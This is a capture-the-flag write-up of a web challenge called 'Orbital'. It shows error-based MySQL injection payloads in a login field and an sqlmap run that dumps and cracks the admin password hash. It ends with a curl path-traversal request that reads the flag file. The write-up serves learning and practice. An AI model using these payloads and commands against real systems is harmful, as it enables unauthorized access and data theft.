siunam's Website

My personal website

Home Writeups Blog Projects About E-Portfolio

Orbital

Overview

Background

In order to decipher the alien communication that held the key to their location, she needed access to a decoder with advanced capabilities - a decoder that only The Orbital firm possessed. Can you get your hands on the decoder?

Enumeration

Home page:

In here, we see there’s a login page.

Whenever I deal with a login page, I always try SQL injection to bypass the authentication, like ' OR 1=1-- -:

Ahh nope.

Let’s read the source code!

┌[siunam♥earth]-(~/ctf/Cyber-Apocalypse-2023/Web/Orbital)-[2023.03.18|22:52:45(HKT)]
└> file web_orbital.zip 
web_orbital.zip: Zip archive data, at least v1.0 to extract, compression method=store
┌[siunam♥earth]-(~/ctf/Cyber-Apocalypse-2023/Web/Orbital)-[2023.03.18|22:52:46(HKT)]
└> unzip web_orbital.zip 
Archive:  web_orbital.zip
   creating: web_orbital/
   creating: web_orbital/config/
  inflating: web_orbital/config/supervisord.conf  
  inflating: web_orbital/Dockerfile  
  inflating: web_orbital/build-docker.sh  
 extracting: web_orbital/flag.txt    
   creating: web_orbital/files/
  inflating: web_orbital/files/communication.mp3  
   creating: web_orbital/challenge/
  inflating: web_orbital/challenge/run.py  
   creating: web_orbital/challenge/application/
   creating: web_orbital/challenge/application/blueprints/
  inflating: web_orbital/challenge/application/blueprints/routes.py  
  inflating: web_orbital/challenge/application/config.py  
  inflating: web_orbital/challenge/application/util.py  
  inflating: web_orbital/challenge/application/database.py  
   creating: web_orbital/challenge/application/static/
   creating: web_orbital/challenge/application/static/css/
  inflating: web_orbital/challenge/application/static/css/bootstrap.min.css  
  inflating: web_orbital/challenge/application/static/css/star.css  
  inflating: web_orbital/challenge/application/static/css/style.css  
  inflating: web_orbital/challenge/application/static/css/graph.css  
   creating: web_orbital/challenge/application/static/images/
  inflating: web_orbital/challenge/application/static/images/map.png  
  inflating: web_orbital/challenge/application/static/images/logo.png  
   creating: web_orbital/challenge/application/static/js/
  inflating: web_orbital/challenge/application/static/js/script.js  
  inflating: web_orbital/challenge/application/static/js/dashboard.js  
  inflating: web_orbital/challenge/application/static/js/jquery.js  
   creating: web_orbital/challenge/application/templates/
  inflating: web_orbital/challenge/application/templates/home.html  
  inflating: web_orbital/challenge/application/templates/login.html  
  inflating: web_orbital/challenge/application/main.py  
  inflating: web_orbital/entrypoint.sh

In entrypoint.sh, we can see the MySQL database schema:

mysql -u root << EOF
CREATE DATABASE orbital;
CREATE TABLE orbital.users (
    id INTEGER PRIMARY KEY AUTO_INCREMENT,
    username varchar(255) NOT NULL UNIQUE,
    password varchar(255) NOT NULL
);
CREATE TABLE orbital.communication (
    id INTEGER PRIMARY KEY AUTO_INCREMENT,
    source varchar(255) NOT NULL,
    destination varchar(255) NOT NULL,
    name varchar(255) NOT NULL,
    downloadable varchar(255) NOT NULL
);
INSERT INTO orbital.users (username, password) VALUES ('admin', '$(genPass)');
INSERT INTO orbital.communication (source, destination, name, downloadable) VALUES ('Titan', 'Arcturus', 'Ice World Calling Red Giant', 'communication.mp3');
INSERT INTO orbital.communication (source, destination, name, downloadable) VALUES ('Andromeda', 'Vega', 'Spiral Arm Salutations', 'communication.mp3');
INSERT INTO orbital.communication (source, destination, name, downloadable) VALUES ('Proxima Centauri', 'Trappist-1', 'Lone Star Linkup', 'communication.mp3');
INSERT INTO orbital.communication (source, destination, name, downloadable) VALUES ('TRAPPIST-1h', 'Kepler-438b', 'Small World Symposium', 'communication.mp3');
INSERT INTO orbital.communication (source, destination, name, downloadable) VALUES ('Winky', 'Boop', 'Jelly World Japes', 'communication.mp3');
CREATE USER 'user'@'localhost' IDENTIFIED BY 'M@k3l@R!d3s$';
GRANT SELECT ON orbital.users TO 'user'@'localhost';
GRANT SELECT ON orbital.communication TO 'user'@'localhost';
FLUSH PRIVILEGES;
EOF

After looking around at the source code, I immediately found a vulnerability in the implementation of JWT (JSON Web Token) in application/util.py:

def verifyJWT(token):
    try:
        token_decode = jwt.decode(
            token,
            key,
            algorithms='HS256'
        )

        return token_decode
    except:
        return abort(400, 'Invalid token!')

As you can see, the verifyJWT() function is using jwt.decode() method instead of jwt.verify()!!!

Which means it doesn’t verify the JWT is being tampered or not by signing a secret!

Then, in application/blueprints/routes.py, there’s a /login route (endpoint):

from flask import Blueprint, render_template, request, session, redirect, send_file
from application.database import login, getCommunication
from application.util import response, isAuthenticated
[...]
@api.route('/login', methods=['POST'])
def apiLogin():
    if not request.is_json:
        return response('Invalid JSON!'), 400
    
    data = request.get_json()
    username = data.get('username', '')
    password = data.get('password', '')
    
    if not username or not password:
        return response('All fields are required!'), 401
    
    user = login(username, password)
    
    if user:
        session['auth'] = user
        return response('Success'), 200
        
    return response('Invalid credentials!'), 403

When a POST request with parameter username and password in JSON format is sent, run function login() from application.database.

login():

from colorama import Cursor
from application.util import createJWT, passwordVerify
from flask_mysqldb import MySQL
[...]
def login(username, password):
    # I don't think it's not possible to bypass login because I'm verifying the password later.
    user = query(f'SELECT username, password FROM users WHERE username = "{username}"', one=True)

    if user:
        passwordCheck = passwordVerify(user['password'], password)

        if passwordCheck:
            token = createJWT(user['username'])
            return token
    else:
        return False

In here, we see the SQL query doesn’t use prepare statement, which is vulnerable to SQL injection!!

However, it only parses the username???

Then, if there’s result from that SQL query, it runs function passwordVerify() with the correct password from the database, and the password that we provided.

passwordVerify():

def passwordVerify(hashPassword, password):
    md5Hash = hashlib.md5(password.encode())

    if md5Hash.hexdigest() == hashPassword: return True
    else: return False

In here, it uses MD5 to hash our provided password.

If the MD5 hash is matched to the correct one, then return True.

If True, then create a new JWT for the user.

Hmm… It seems like we can’t bypass the password check??

In applications/blueprints/routes.py, there’re more routes:

@web.route('/home')
@isAuthenticated
def home():
    allCommunication = getCommunication()
    return render_template('home.html', allCommunication=allCommunication)
[...]
@api.route('/export', methods=['POST'])
@isAuthenticated
def exportFile():
    if not request.is_json:
        return response('Invalid JSON!'), 400
    
    data = request.get_json()
    communicationName = data.get('name', '')

    try:
        # Everyone is saying I should escape specific characters in the filename. I don't know why.
        return send_file(f'/communications/{communicationName}', as_attachment=True)
    except:
        return response('Unable to retrieve the communication'), 400

In here, the /home will check if we authenticated or not.

Umm… I wonder can I create a new JWT, and go to route /home to bypass the authentication…

But nope…

Let’s take a step back.

Exploitation

In /api/login route, we found that the login SQL query doesn’t use prepare statement.

Armed with above information, instead of doing authentication bypass, we can try to exfiltrate data from the database via SQL injection.

To do so, I’ll try to trigger an error:

{
    "username":"\"",
    "password":"test"
}

Oh!! We’ve triggered an SQL syntax error!

Let’s try to supply 2 double quotes:

No error!!

Which means the login api is vulnerable to Error-based MySQL injection!!

Then, according to PayloadsAllTheThings, we can use UpdateXML function to fetch data:

AND updatexml(rand(),concat(CHAR(126),version(),CHAR(126)),null)-
AND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),schema_name,CHAR(126)) FROM information_schema.schemata LIMIT data_offset,1)),null)--
AND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),TABLE_NAME,CHAR(126)) FROM information_schema.TABLES WHERE table_schema=data_column LIMIT data_offset,1)),null)--
AND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),column_name,CHAR(126)) FROM information_schema.columns WHERE TABLE_NAME=data_table LIMIT data_offset,1)),null)--
AND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),data_info,CHAR(126)) FROM data_table.data_column LIMIT data_offset,1)),null)--

Let’s do that!

Find MySQL version:

{"username":"\"AND updatexml(rand(),concat(CHAR(126),version(),CHAR(126)),null)-\"","password":"test"}

Since we found the admin user is in table users from the source code, we can skip the enumerating table and column names process.

Extract admin user data:

{"username":"\"AND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),username,0x3a,password,CHAR(126)) FROM users LIMIT 0,1)),null)-\"","password":"test"}

Nice! However, we only got some password

Hmm… Let’s fireup sqlmap:

┌[siunam♥earth]-(~/ctf/Cyber-Apocalypse-2023/Web/Orbital)-[2023.03.19|12:46:17(HKT)]
└> sqlmap -u http://143.110.160.221:30809/api/login --data='{"username":"test","password":"test"}' --dbms=MySQL --batch -D orbital -T users --dump
[..]
JSON data found in POST body. Do you want to process it? [Y/n/q] Y
[12:46:35] [INFO] testing connection to the target URL
[12:46:36] [WARNING] the web server responded with an HTTP error code (403) which could interfere with the results of the tests
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: JSON username ((custom) POST)
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: {"username":"test"="test" AND (SELECT 2688 FROM(SELECT COUNT(*),CONCAT(0x71716b7171,(SELECT (ELT(2688=2688,1))),0x7176786b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND "test"="test","password":"test"}

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: {"username":"test"="test" AND (SELECT 6499 FROM (SELECT(SLEEP(5)))VFpT) AND "test"="test","password":"test"}
---
[12:46:36] [INFO] testing MySQL
[12:46:36] [INFO] confirming MySQL
[12:46:36] [WARNING] potential permission problems detected ('command denied')
[12:46:36] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.0 (MariaDB fork)
[12:46:36] [INFO] fetching columns for table 'users' in database 'orbital'
[12:46:37] [INFO] retrieved: 'id'
[12:46:37] [INFO] retrieved: 'int(11)'
[12:46:38] [INFO] retrieved: 'username'
[12:46:38] [INFO] retrieved: 'varchar(255)'
[12:46:39] [INFO] retrieved: 'password'
[12:46:39] [INFO] retrieved: 'varchar(255)'
[12:46:39] [INFO] fetching entries for table 'users' in database 'orbital'
[12:46:40] [INFO] retrieved: '1'
[12:46:40] [INFO] retrieved: '1692b753c031f2905b89e7258dbc49bb'
[12:46:41] [INFO] retrieved: 'admin'
[12:46:41] [INFO] recognized possible password hashes in column 'password'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] N
do you want to crack them via a dictionary-based attack? [Y/n/q] Y
[12:46:41] [INFO] using hash method 'md5_generic_passwd'
what dictionary do you want to use?
[1] default dictionary file '/usr/share/sqlmap/data/txt/wordlist.tx_' (press Enter)
[2] custom dictionary file
[3] file with list of dictionary files
> 1
[12:46:41] [INFO] using default dictionary
do you want to use common password suffixes? (slow!) [y/N] N
[12:46:41] [INFO] starting dictionary-based cracking (md5_generic_passwd)
[12:46:41] [INFO] starting 4 processes 
[12:46:43] [INFO] cracked password 'ichliebedich' for user 'admin'                                                                                                                                                 
Database: orbital                                                                                                                                                                                                  
Table: users
[1 entry]
+----+-------------------------------------------------+----------+
| id | password                                        | username |
+----+-------------------------------------------------+----------+
| 1  | 1692b753c031f2905b89e7258dbc49bb (ichliebedich) | admin    |
+----+-------------------------------------------------+----------+

sqlmap found the password and cracked the MD5 hash!

That being said, we can login with admin:ichliebedich!

Boom! I’m in!

Now, do you still remember there’s a route called /export?

@api.route('/export', methods=['POST'])
@isAuthenticated
def exportFile():
    if not request.is_json:
        return response('Invalid JSON!'), 400
    
    data = request.get_json()
    communicationName = data.get('name', '')

    try:
        # Everyone is saying I should escape specific characters in the filename. I don't know why.
        return send_file(f'/communications/{communicationName}', as_attachment=True)
    except:
        return response('Unable to retrieve the communication'), 400

In the home page, we see this:

Let’s try to export one!

We downloaded a MP3 file.

In that route, if the request method is POST, then it checks the request body is JSON or not.

After that, it’ll get key name’s value (communicationName).

Finally, it’ll send us a file from /communications/{communicationName}.

Since there’s no validation to check path travsal, we can try to get the flag!

But first, let’s look at the web application’s file structure:

┌[siunam♥earth]-(~/ctf/Cyber-Apocalypse-2023/Web/Orbital/web_orbital)-[2023.03.19|12:52:56(HKT)]
└> ls -lah files/communication.mp3
-rw-r--r-- 1 siunam nam 111K Mar 14 21:15 files/communication.mp3

As you can see, the communication.mp3 is in /communications/files/.

Then, in Dockerfile, we see where does the flag lives:

# copy flag
COPY flag.txt /signal_sleuth_firmware
COPY files /communications/

That being said, we can download the flag via ../../../signal_sleuth_firmware:

┌[siunam♥earth]-(~/ctf/Cyber-Apocalypse-2023/Web/Orbital)-[2023.03.19|13:00:17(HKT)]
└> curl http://143.110.160.221:30809/api/export --cookie "session=eyJhdXRoIjoiZXlKaGJHY2lPaUpJVXpJMU5pSXNJblI1Y0NJNklrcFhWQ0o5LmV5SjFjMlZ5Ym1GdFpTSTZJbUZrYldsdUlpd2laWGh3SWpveE5qYzVNakl5T1RjMGZRLldDNTFaRmd5ZjE2cUVaZ3VtN29qbVJyWVRHb0F3Ni1Wbnd3eGQwbGFTN2MifQ.ZBaUXg.Raqq6_Z94_wxwrORI5bOTm99cPw" -d '{"name":"../../../signal_sleuth_firmware"}' -H 'Content-Type: application/json'
HTB{T1m3_b4$3d_$ql1_4r3_fun!!!}

Nice!

Conclusion

What we’ve learned:

  1. Exploiting Error-Based/Time-Based SQL Injection